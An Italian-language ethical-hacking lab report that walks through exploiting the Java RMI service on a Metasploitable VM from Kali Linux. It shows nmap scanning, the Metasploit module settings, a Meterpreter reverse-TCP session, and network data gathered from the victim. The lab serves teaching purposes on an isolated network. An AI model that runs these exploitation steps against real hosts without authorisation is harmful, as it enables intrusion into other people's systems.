

# Cyber Security & Ethical Hacking

**1. Introduzione** L'obiettivo di questa esercitazione è stato quello di sfruttare una vulnerabilità presente nel servizio Java RMI in esecuzione sulla macchina Metasploitable, al fine di ottenere una sessione Meterpreter. Successivamente, sono state raccolte informazioni di rete e la tabella di routing della macchina vittima.

```
Metasploitable 2 [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
SIOCDELRT: No such process [ OK ]

msfadmin@metasploitable:~$ ipconfig
-bash: ipconfig: command not found
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:24:69:6b
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe24:696b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:31 errors:0 dropped:0 overruns:0 frame:0
          TX packets:119 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2457 (2.3 KB)  TX bytes:14007 (13.6 KB)
          Base address:0xd240 Memory:f0820000-f0840000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:385 errors:0 dropped:0 overruns:0 frame:0
          TX packets:385 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:157029 (153.3 KB)  TX bytes:157029 (153.3 KB)

msfadmin@metasploitable:~$ _
```

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
      inet 192.168.11.111  netmask 255.255.255.0  broadcast 192.168.11.255
      ether 08:00:27:6e:13:6e  txqueuelen 1000  (Ethernet)
      RX packets 127  bytes 15921 (15.5 KiB)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 59  bytes 16673 (16.2 KiB)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
      inet 127.0.0.1  netmask 255.0.0.0
      inet6 ::1  prefixlen 128  scopeid 0x10<host>
      loop txqueuelen 1000  (Local Loopback)
      RX packets 8  bytes 480 (480.0 B)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 8  bytes 480 (480.0 B)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

**2. Configurazione dell'ambiente** La configurazione di rete utilizzata per l'esercitazione è stata la seguente:

- **Macchina attaccante (Kali Linux):** IP 192.168.11.111
- **Macchina vittima (Metasploitable):** IP 192.168.11.112

```
(kali㉿kali)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.43 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=6.00 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.468 ms  
^C  
— 192.168.11.112 ping statistics —  
3 packets transmitted, 3 received, 0% packet loss, time 2005ms  
rtt min/avg/max/mdev = 0.468/2.634/6.000/2.412 ms
```

Per verificare la connettività tra le macchine, è stato utilizzato il comando:

**ping** 192.168.11.112

```
(kali㉿kali)-[~]  
$ nmap -sV -p1000-2000 192.168.11.112  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 10:57 CET  
Nmap scan report for 192.168.11.112  
Host is up (0.00021s latency).  
Not shown: 999 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
MAC Address: 08:00:27:24:69:6B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 19.52 seconds
```

**3. Scansione e Identificazione del Servizio Vulnerabile** Per individuare la vulnerabilità abbiamo utilizzato Nmap:

**nmap** -sV -p1000-2000 192.168.11.112 (range di porta dalla 1000 alla 2000)

```
(kali㉿kali)-[~]infu... Nessus.txt
$ msfconsole
Metasploit tip: Use help <command> to learn more about any command

File System  USER.txt  < HONK >
e )
< HONK >

( Home< password.txt  Programmi...
< HONK >

sf_Cartella  Password.txt  import sock...

= [ metasploit v6.4.50-dev ]
+ -- -- [ 2496 exploits - 1283 auxiliary - 431 post ]
+ -- -- [ 1610 payloads - 49 encoders - 13 nops ]
+ -- -- [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

#### 4. Sfruttamento della Vulnerabilità con Metasploit

Dopo aver avviato Metasploit con:

**msfconsole**

```
Interact with a module by name or index. For example info
msf6 > search java rmi

Matching Modules
-----
#  Name
0  Cartella Password.txt import sock...
```

è stato cercato un modulo adatto con:

search java rmi

```
msf6 > search java rmi

Matching Modules
-----
#  Name                                     Disclosure Date Rank Check Descripti
0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22      excellent Yes  Atlassian
Crowd pdkinstall Unauthenticated Plugin Upload RCE
1  exploit/multi/http/crushftp_rce_cve_2023_43177 2023-08-08      excellent Yes  CrushFTP
Unauthenticated RCE
2  \_ target: Java . . . .
3  \_ target: Linux Dropper . . . .
4  \_ target: Windows Dropper . . . .
5  exploit/multi/misc/java_jmx_server 2013-05-22      excellent Yes  Java JMX
Server Insecure Configuration Java Code Execution
6  auxiliary/scanner/misc/java_jmx_server 2013-05-22      normal No  Java JMX
Server Insecure Endpoint Code Execution Scanner
7  auxiliary/gather/java_rmi_registry . normal No  Java RMI
Registry Interfaces Enumeration
8  exploit/multi/misc/java_rmi_server 2011-10-15      excellent Yes  Java RMI
```

Il modulo identificato è stato:

use exploit/multi/misc/java\_rmi\_server

```

msf6 > use 8
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set lport 4444
lport => 4444
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

```

Le impostazioni dell'exploit sono state configurate come segue:

**set RHOSTS** 192.168.11.112

**set LHOST** 192.168.11.111

**set PAYLOAD** java/meterpreter/reverse\_tcp

**set LPORT** 4444

```

msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/wjE3bwj6YfBE3s
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:41243) at 2025-03-14 10:34:26 +0100

meterpreter > ifconfig

Interface 1
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe24:696b
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  -----
  127.0.0.1    255.0.0.0     0.0.0.0      0.0.0.0
  192.168.11.112 255.255.255.0 0.0.0.0      0.0.0.0

IPv6 network routes

  Subnet      Netmask      Gateway      Metric      Interface
  -----
  ::1         ::           ::          ::
  fe80::a00:27ff:fe24:696b ::           ::

```

Il payload scelto ha permesso di stabilire una connessione inversa verso la macchina attaccante. L'exploit è stato lanciato con:

**run.**

Una volta ottenuta la sessione Meterpreter, è stato possibile interagire con la macchina vittima.

**5. Raccolta delle Evidenze** Dopo aver ottenuto l'accesso, sono state raccolte le seguenti informazioni:

- **Configurazione di rete:**

**meterpreter > ifconfig**

- **Tabella di routing:**

**meterpreter > route**

**6. Conclusioni:** Questa esercitazione ha dimostrato come sfruttare una vulnerabilità del servizio Java RMI utilizzando Metasploit. Dopo aver ottenuto una sessione Meterpreter, è stato possibile raccogliere informazioni sensibili sulla configurazione di rete della macchina vittima. Questo test evidenzia l'importanza di mantenere aggiornati i servizi e di limitare l'esposizione di porte non necessarie per ridurre i rischi di attacco.